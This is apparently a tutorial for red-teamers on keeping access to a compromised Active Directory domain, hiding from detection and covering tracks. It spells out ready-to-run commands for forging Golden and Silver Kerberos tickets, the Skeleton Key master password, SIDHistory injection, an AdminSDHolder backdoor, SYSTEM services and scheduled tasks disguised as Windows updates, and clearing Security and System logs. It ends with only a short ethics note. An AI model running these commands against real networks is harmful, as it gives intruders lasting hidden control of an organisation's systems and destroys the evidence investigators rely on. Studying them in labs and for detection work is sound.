Active Directory Persistence, Detection Evasion & Cleanup

Once you have Domain Admin or full control of the domain, the game changes. You’re no longer trying to get in — you’re trying to stay in, quietly, for as long as possible.

This phase covers how attackers create backdoors, avoid detection, and remove their tracks after a successful AD compromise.

  • Persistence – Establishing long-term access even if passwords change
  • Detection Evasion – Avoiding logs, alerts, and behavioral analysis
  • Cleanup – Erasing signs of the breach to avoid investigation or forensic review
  • Golden Ticket
  • Silver Ticket
  • Skeleton Key
  • SIDHistory Abuse
  • AdminSDHolder Backdoor
  • GPO Backdoors
  • Registry and Service Modifications
  • Log Clearing

The Golden Ticket is a forged TGT using the KRBTGT account hash, giving you unlimited domain access.

kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxxxx /krbtgt:<NTLM_HASH> /id:500

Then inject the ticket:

kerberos::ptt golden.kirbi

Result: You now have indefinite access to any domain resource, without needing valid credentials.

Silver Tickets are forged TGS tickets for specific services — stealthier but more limited.

kerberos::golden /user:svc_web /domain:corp.local /sid:S-1-5-21-xxxxx /target:web.corp.local /service:cifs /rc4:<NTLM_HASH> /id:1105

Then:

kerberos::ptt silver.kirbi

Use when: You only need access to one service, and you want to stay out of the KDC logs.

Injects a master password into memory on the Domain Controller that works for any user.

misc::skeleton

Default password: mimikatz

Use with caution — very noisy and detectable with memory scanners.

Abuse SIDHistory to give an account the privileges of another user/group.

sid::patch
sid::inject /sids:S-1-5-21-<DA_SID>

This is used to give a low-priv user Domain Admin privileges via SID inheritance.

Modify AdminSDHolder so that your user retains privileged permissions, even after a reset.

Set-DomainObjectACL -TargetDistinguishedName "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -Rights All -PrincipalIdentity youruser

Every 60 minutes, this ACL propagates to Domain Admins and similar protected accounts.

Deploy a GPO that creates a local admin or adds your user to a privileged group.

  • Use GroupPolicyPreferences to drop a file or set a scheduled task
  • Add a new local admin via Registry key or file copy in SYSVOL

Be careful — changes here are often logged.

Install a hidden service or task as SYSTEM:

sc.exe create "WindowsUpdateService" binPath= "cmd.exe /c whoami > C:\temp\out.txt" start= auto

Or:

schtasks /create /tn "UpdateTask" /tr "powershell.exe -enc ..." /sc minute /mo 5 /ru SYSTEM

Caution: clearing logs can raise red flags, but attackers do it anyway.

wevtutil cl System
wevtutil cl Security
wevtutil cl Application
TechniquePurposeRisk Level
Golden TicketDomain-wide access anytimeHigh, detectable
Silver TicketService-level stealth accessMedium
SIDHistoryHidden privilege escalationHigh, often logged
AdminSDHolder AbusePersistent privilege ownershipMedium
Skeleton KeyMaster password for all usersVery high/noisy
GPO BackdoorPrivileged re-entry via policiesHigh, traceable
Rogue Services/TasksScheduled access or code execMedium
Log ClearingHide activity trailsHigh, monitored

This phase is about control and stealth. In a red team or pentest engagement, you’d rarely go this far unless you’re simulating advanced persistent threats (APTs) or testing blue team detection.

Use these techniques wisely and ethically. Also, practice them in isolated labs where you can safely see how they work.

Scroll to Top